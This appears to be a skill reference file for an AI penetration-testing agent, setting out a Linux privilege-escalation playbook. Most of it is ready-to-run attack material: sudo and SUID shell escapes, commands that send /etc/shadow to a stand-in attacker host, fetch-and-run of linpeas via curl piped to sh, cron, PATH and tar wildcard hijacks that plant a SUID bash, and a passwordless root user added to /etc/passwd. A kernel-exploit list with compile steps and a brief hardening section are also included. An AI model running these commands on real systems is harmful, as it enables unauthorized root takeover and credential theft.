---
name: Linux Privesc
description: Reference for Linux privilege escalation covering enumerate-then-abuse loop, GTFOBins-driven sudo / SUID / capabilities, kernel CVEs, cron / writable-PATH abuse, and pre-staged tooling (linpeas, LinEnum, pspy64).
---

# Linux Privilege Escalation

Reference for escalating from a low-priv shell to root on Linux. Pull this in when you have a foothold (web RCE, SSH cred, container) and need a focused enumerate-then-abuse playbook.

> Black-box scope: probes run on the foothold via the existing shell channel (`kali_shell` if the shell IS the sandbox; otherwise via the foothold's RCE primitive). The agent's `web_search` knowledge base includes GTFOBins; pivot to it for binary-specific abuse one-liners.

## Tool wiring

| Action | Tool | Notes |
|---|---|---|
| Stage enumerator scripts to the foothold | `kali_shell python3 -m http.server 8000 -d /opt/tools/linux` | Then `curl http://<sandbox>:8000/linpeas.sh \| sh` from the foothold. |
| Run linpeas locally | `kali_shell sh /opt/tools/linux/linpeas.sh` | When the foothold IS the sandbox container. |
| GTFOBins lookup | `web_search` | `web_search query: "<binary> sudo gtfobins" include_sources: ["gtfobins"]` |
| Multi-step exploit | `execute_code language: bash` | When local sequence needs care. |
| Compile a kernel exploit | `execute_code language: c` | Build inside the sandbox; transfer to the foothold. |

## Pre-staged toolkit

The Kali sandbox ships these enumerators at `/opt/tools/linux/`:

| Path | Tool | Purpose |
|---|---|---|
| `/opt/tools/linux/linpeas.sh` | PEASS-ng linpeas | Comprehensive privesc auditor |
| `/opt/tools/linux/LinEnum.sh` | rebootuser/LinEnum | Enumeration helper |
| `/opt/tools/linux/pspy64` | DominicBreuker/pspy | Real-time process snooper (no root) |
| `/opt/tools/linux/deepce.sh` | stealthcopter/deepce | Container escape primitive scanner |

Stage to a foothold over HTTP:

```bash
# On the sandbox:
cd /opt/tools/linux && python3 -m http.server 8000 &

# On the foothold:
curl -fsSL http://<sandbox-ip>:8000/linpeas.sh -o /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh
curl -fsSL http://<sandbox-ip>:8000/pspy64 -o /tmp/p && chmod +x /tmp/p && /tmp/p &
```

For air-gapped foothold, base64-encode and paste:

```bash
# On sandbox:
base64 /opt/tools/linux/pspy64 | wc -c   # confirm size before pasting
base64 /opt/tools/linux/pspy64 > /tmp/p.b64
# Copy to foothold; decode there
```

## Enumerate-then-abuse loop

```
Phase 1: Triage     -> Who am I? What kernel? What is writable?
Phase 2: Auditor    -> linpeas / LinEnum / pspy
Phase 3: Hypothesis -> Pick the highest-confidence finding
Phase 4: Abuse      -> Execute the specific GTFOBins / CVE / config recipe
Phase 5: Verify     -> Did we get root? If not, re-loop with the next hypothesis.
```

## Phase 1: triage commands

```bash
# Identity
id; whoami; groups
sudo -l 2>/dev/null

# Kernel + distro
uname -a
cat /etc/os-release
cat /etc/issue

# Writable + setuid binaries
find / -perm -4000 -type f 2>/dev/null         # SUID
find / -perm -2000 -type f 2>/dev/null         # SGID
find / -perm -u+s -type f 2>/dev/null
find / -writable -type d 2>/dev/null | head -50
find / -writable ! -user $(id -u) -type f 2>/dev/null | head

# Capabilities
getcap -r / 2>/dev/null

# Cron
ls -la /etc/cron.* /var/spool/cron/ /etc/crontab
cat /etc/crontab
cat /var/spool/cron/crontabs/* 2>/dev/null

# Recent files (clue to active processes)
find / -mmin -30 -type f 2>/dev/null | grep -v '^/proc' | head

# Mounts
mount | grep -vE '^(proc|sys|tmpfs|devpts|cgroup)'
cat /etc/fstab

# Sudo cache
sudo -n true 2>&1 | head

# History / SSH artifacts
ls -la ~/.ssh /root/.ssh 2>/dev/null
cat ~/.bash_history /root/.bash_history 2>/dev/null | tail -100
```

## Phase 2: auditor sweep

```bash
# linpeas (full)
sh /tmp/lp.sh -a > /tmp/lp.out 2>&1

# linpeas (only writable + suid + sudo + caps)
sh /tmp/lp.sh -o sudo,suid,capabilities,writable

# LinEnum (alternative; older but different signal set)
sh /tmp/le.sh -t > /tmp/le.out 2>&1

# pspy (run for 60 seconds; observe what root processes are doing)
/tmp/p -p -f &
sleep 60
kill %1
```

## Phase 3: ranked hypothesis hunt

When linpeas / LinEnum produces output, prioritize by:

| Tier | Pattern | Why |
|---|---|---|
| 1 | `sudo -l` shows allowed commands without password | Direct privesc per GTFOBins |
| 1 | SUID binary in GTFOBins list | Single-command root |
| 1 | Capabilities = `cap_setuid+ep` on standard binary | One-line privesc |
| 1 | World-writable shell-script under `/etc/cron.*/` | Plant payload, wait |
| 1 | Writable `PATH` containing earlier directories than system bins | Hijack any binary |
| 2 | Kernel version with public CVE matching | Build, copy, run exploit |
| 2 | Mounted Docker socket (see `/skill docker_escape`) | Container -> host |
| 2 | Service running as root reading writable config | Modify config, restart |
| 2 | World-writable `/etc/passwd` | Add UID 0 user (`hash:0:0:`) |
| 3 | NFS export with `no_root_squash` | Mount on attacker, drop SUID binary, run on victim |
| 3 | Wildcard cron (`/usr/bin/tar -czf /tmp/backup.tgz *`) | Wildcard injection |
| 3 | Sticky bit not set on writable dir | Race conditions |

## GTFOBins-driven abuse (the canonical layer)

When `sudo -l` shows a binary, look it up in GTFOBins. The agent has GTFOBins indexed in `web_search`:

```
web_search query: "<binary> sudo" include_sources: ["gtfobins"] top_k: 5
```

Sample one-liners (memorize these):

| Binary | Recipe |
|---|---|
| `vim` | `sudo vim -c ':!/bin/sh'` |
| `vi` | Same |
| `nano` | `sudo nano /etc/passwd` then `^R^X reset; sh 1>&0 2>&0` |
| `find` | `sudo find . -exec /bin/sh \; -quit` |
| `awk` | `sudo awk 'BEGIN {system("/bin/sh")}'` |
| `gawk` | Same |
| `python3` / `python` | `sudo python3 -c 'import os; os.system("/bin/sh")'` |
| `perl` | `sudo perl -e 'exec "/bin/sh";'` |
| `ruby` | `sudo ruby -e 'exec "/bin/sh"'` |
| `node` | `sudo node -e 'require("child_process").spawn("/bin/sh", {stdio:[0,1,2]})'` |
| `bash` / `sh` | `sudo bash` (yes, really, when listed) |
| `less` | `sudo less /etc/profile`, then `!/bin/sh` |
| `more` | Same trick on small terminals |
| `man` | `sudo man man`, then `!/bin/sh` |
| `nmap` | `sudo nmap --interactive` (old) or `sudo nmap --script /tmp/x.nse` (new; `os.execute("/bin/sh")` in script) |
| `tar` | `sudo tar cf /dev/null /tmp/x --checkpoint=1 --checkpoint-action=exec=/bin/sh` |
| `cp` | `sudo cp /etc/shadow /tmp/shadow && chmod 644 /tmp/shadow` (file-read primitive) |
| `mv` | Similar (file-move primitive) |
| `chmod` | `sudo chmod 4755 /bin/bash` then run `bash -p` |
| `chown` | `sudo chown $USER /etc/shadow` then read |
| `dd` | `sudo dd if=/etc/shadow bs=4096 count=1` |
| `wget` | `sudo wget --post-file=/etc/shadow attacker.tld` |
| `curl` | `sudo curl --upload-file /etc/shadow attacker.tld` |
| `apt` / `apt-get` | `sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh` |
| `git` | `sudo git -p help`, then `!/bin/sh` |
| `env` | `sudo env /bin/sh` |
| `ed` | `sudo ed; !/bin/sh` |
| `make` | `sudo make -s --eval=$'x:\n\t-/bin/sh'` |
| `screen` | `sudo screen` (sometimes drops to root shell) |
| `tmux` | Similar |
| `service` | `sudo service ../../bin/sh` (weak path validation in some shipping versions) |

For SUID binaries (no sudo, just SUID-root), search GTFOBins's "SUID" tab:

```
web_search query: "<binary> suid" include_sources: ["gtfobins"]
```

## Capability-based escalation

```bash
getcap -r / 2>/dev/null
```

| Capability | Single-binary abuse |
|---|---|
| `cap_setuid+ep` | `python -c 'import os; os.setuid(0); os.system("/bin/sh")'` |
| `cap_dac_read_search+ep` | Read any file (e.g. `/etc/shadow`) |
| `cap_sys_admin+ep` | Mount, ptrace, namespace tricks |
| `cap_sys_ptrace+ep` | Inject into root processes |
| `cap_chown+ep` | `chown root:root /tmp/shell; chmod +s /tmp/shell` |
| `cap_net_raw+ep` | Sniff traffic |

A python or perl binary with `cap_setuid+ep` is essentially a root shell.

## Kernel CVE matching

Always grab `uname -r` first:

```bash
uname -r
# 5.4.0-100-generic   -> Ubuntu 20.04 LTS, vulnerable to several CVEs depending on patch
# 4.4.0-72-generic    -> Ubuntu 16.04, very old, many exploits
```

Common LPE exploits to know (kernel-level unless noted):

| CVE | Kernel / package range | Exploit name | Notes |
|---|---|---|---|
| CVE-2022-0847 | kernel 5.8 - 5.16.11 | "Dirty Pipe" | Overwrite SUID binary or `/etc/passwd` |
| CVE-2022-0185 | kernel < 5.16.2 | FUSE / fsconfig OOB | Container escape + LPE |
| CVE-2022-0492 | kernel < 5.16 | cgroups v1 release_agent | Container escape |
| CVE-2021-3493 | kernel < 5.4.0-72 (Ubuntu) | OverlayFS | Ubuntu LPE |
| CVE-2021-22555 | kernel 2.6.19 - 5.12 | netfilter heap OOB | Generic LPE |
| CVE-2021-4034 | polkit / pkexec (userland, NOT kernel) | "PwnKit" | Universal LPE on most distros pre-Jan 2022 |
| CVE-2017-5618 | screen 4.5.0 (userland) | screen setuid race | LPE via screen |
| CVE-2017-1000112 | kernel 4.13 | UFO / udp packet | LPE |
| CVE-2016-5195 | kernel < 4.8.3 | "Dirty COW" | Universal LPE on older kernels |
| CVE-2024-1086 | kernel 5.14 - 6.6 | nf_tables UAF | Recent LPE; reliable on most distros |

Compile a public exploit:

```bash
# On sandbox
git clone <exploit-repo> /tmp/exploit
gcc -static /tmp/exploit/poc.c -o /tmp/exploit/poc
# Stage to foothold via http.server, run, observe
```

PwnKit (CVE-2021-4034) is universal-ish; if `pkexec` is present and not patched, this is one of the cheapest wins.

## Cron / scheduled task abuse

```bash
# Find world-writable cron-invoked scripts
ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/
cat /etc/crontab
ls -la /var/spool/cron/

# Find files modified in cron windows (clues to active jobs)
pspy -p -f
```

If `/etc/cron.daily/cleanup.sh` is writable by the foothold user but executed as root, append:

```bash
echo 'cp /bin/bash /tmp/rb && chmod 4755 /tmp/rb' >> /etc/cron.daily/cleanup.sh
# Wait for the cron run; then:
/tmp/rb -p
```

## Wildcard injection

When a cron / script runs `tar czf backup.tgz *`:

```bash
cd /target/dir
echo '#!/bin/sh' > /tmp/runme.sh
echo 'cp /bin/bash /tmp/rb && chmod 4755 /tmp/rb' >> /tmp/runme.sh
chmod +x /tmp/runme.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh /tmp/runme.sh'
# Wait for cron; tar parses the touched filenames as flags; runme.sh runs as root.
```

Same primitive works on `chown -R *`, `find . -exec ...`, etc.

## Writable-PATH

```bash
echo $PATH
# /home/user/bin:/usr/local/bin:/usr/bin:/bin
# If /home/user/bin precedes /usr/bin AND /home/user/bin is writable:
echo '#!/bin/sh' > /home/user/bin/ls
echo 'cp /bin/bash /tmp/rb && chmod 4755 /tmp/rb' >> /home/user/bin/ls
chmod +x /home/user/bin/ls
# Wait for ANY admin script to call `ls`. Most do.
```

## NFS no_root_squash

```bash
# Find NFS exports
showmount -e $NFS_SERVER

# If /export is mounted with no_root_squash:
mkdir /tmp/nfs && sudo mount -t nfs $NFS_SERVER:/export /tmp/nfs
# Place a SUID-root binary there from your machine
cp /bin/bash /tmp/nfs/.rb
chmod 4755 /tmp/nfs/.rb
# On the foothold:
/export/.rb -p
```

## /etc/passwd writable

```bash
ls -la /etc/passwd
# -rw-rw-r-- 1 root root ... /etc/passwd  -> writable by group root
# Or sometimes by the world due to a misconfiguration

# Add a UID 0 user with no password
echo 'attacker::0:0:root:/root:/bin/bash' >> /etc/passwd
su attacker
# id -> uid=0(attacker)
```

For /etc/shadow with a known weak hash, crack offline.

## Service exploitation

Look for services running as root that read writable config:

```bash
# Listening services
ss -tlnp 2>/dev/null
netstat -tlnp 2>/dev/null
ps -ef | grep -E '^root' | head

# Find their config
ls -la /etc/<service>/
```

Common: an outdated MySQL / Redis with `--user=root`, a custom SUID daemon, an internal webhook listener.

## Validation shape

A clean Linux privesc finding includes:

1. Foothold context (how shell was obtained, current user, kernel).
2. The auditor output that flagged the finding (linpeas line, `sudo -l` output, `getcap` line).
3. The exact abuse command.
4. Proof of root (`id` output showing `uid=0`, or `cat /etc/shadow`'s actual content).
5. Cleanup steps (any temp files / planted binaries removed).

## False positives

- linpeas reports a possible privesc but the binary is not actually setuid (false positive in script logic).
- `sudo -l` shows commands but `sudo` itself is broken / aliased.
- Cron job exists but its parent script handles arguments safely.
- Capability is set on a binary that has been hardened to drop the cap before user-controlled execution.
- Kernel CVE matches uname version but distro has backported the patch (`uname -v` may reveal patch level).

## Hardening summary

- `sudo -l` should require password for every entry; `NOPASSWD` only on tightly-scoped commands.
- Avoid SUID bits on binaries listed in GTFOBins; use sudo with no-shell-escape for the same purpose.
- Drop unnecessary capabilities; verify with `getcap -r /`.
- Mount root filesystem with `nosuid,nodev` where feasible (containers especially).
- Patch kernel monthly; pkexec / sudo / OpenSSL are common LPE hosts.
- Cron jobs should run scripts that are owned root:root and 0755 (not writable by the running user).
- Append `nodev,nosuid,noexec` on user mountpoints (`/tmp`, `/home`).
- Apply AppArmor / SELinux profiles; restrict per-binary capability set.
- Audit `/etc/passwd` and `/etc/shadow` permissions; only root should write.

## Hand-off

```
Root achieved -> persistence       -> /skill ad_kill_chain (if AD-joined Linux), built-in CVE exploit
Container -> host escape           -> /skill docker_escape
Cloud-hosted Linux -> cloud abuse   -> /skill aws / /skill azure / /skill gcp
SSH key recovered                   -> network pivot to other hosts
Database creds in /etc              -> chain to data exfil / further pivots
LDAP / Kerberos creds in env vars   -> /skill ad_kill_chain via that domain
```

## Pro tips

- The fastest single command on a foothold is `sudo -l 2>/dev/null`. If it returns ANY entry without `(ALL : ALL)` and full deny, you usually have a one-line root via GTFOBins.
- linpeas's color-coded output uses `RED/YELLOW = 95% chance of privesc`; trust those flags first before working through everything.
- pspy is the secret weapon when nothing obvious turns up: watching cron / systemd-timer activity for 60 seconds often reveals scripts running as root that touch user-writable paths.
- `find / -name '*.bak' -o -name '*.old' -o -name '*~' 2>/dev/null` finds editor/admin backups that often contain credentials.
- Old `crackmapexec` / `nxc` outputs sometimes contain credentials in plaintext under `/tmp/` or operator home dirs.
- Check `/proc/*/environ` for inherited env-var credentials of root processes (when readable).
- For container privesc, run `/skill docker_escape` first; many "Linux" privesc paths are actually container escapes.
- The agent's `web_search` knowledge base includes GTFOBins; query with `include_sources: ["gtfobins"]` for tool-specific recipes faster than reading the full skill.
- After PwnKit (CVE-2021-4034), most distros patched `pkexec`. But `dpkg -l | grep policykit` reveals exact version; old packages still ship on legacy systems.
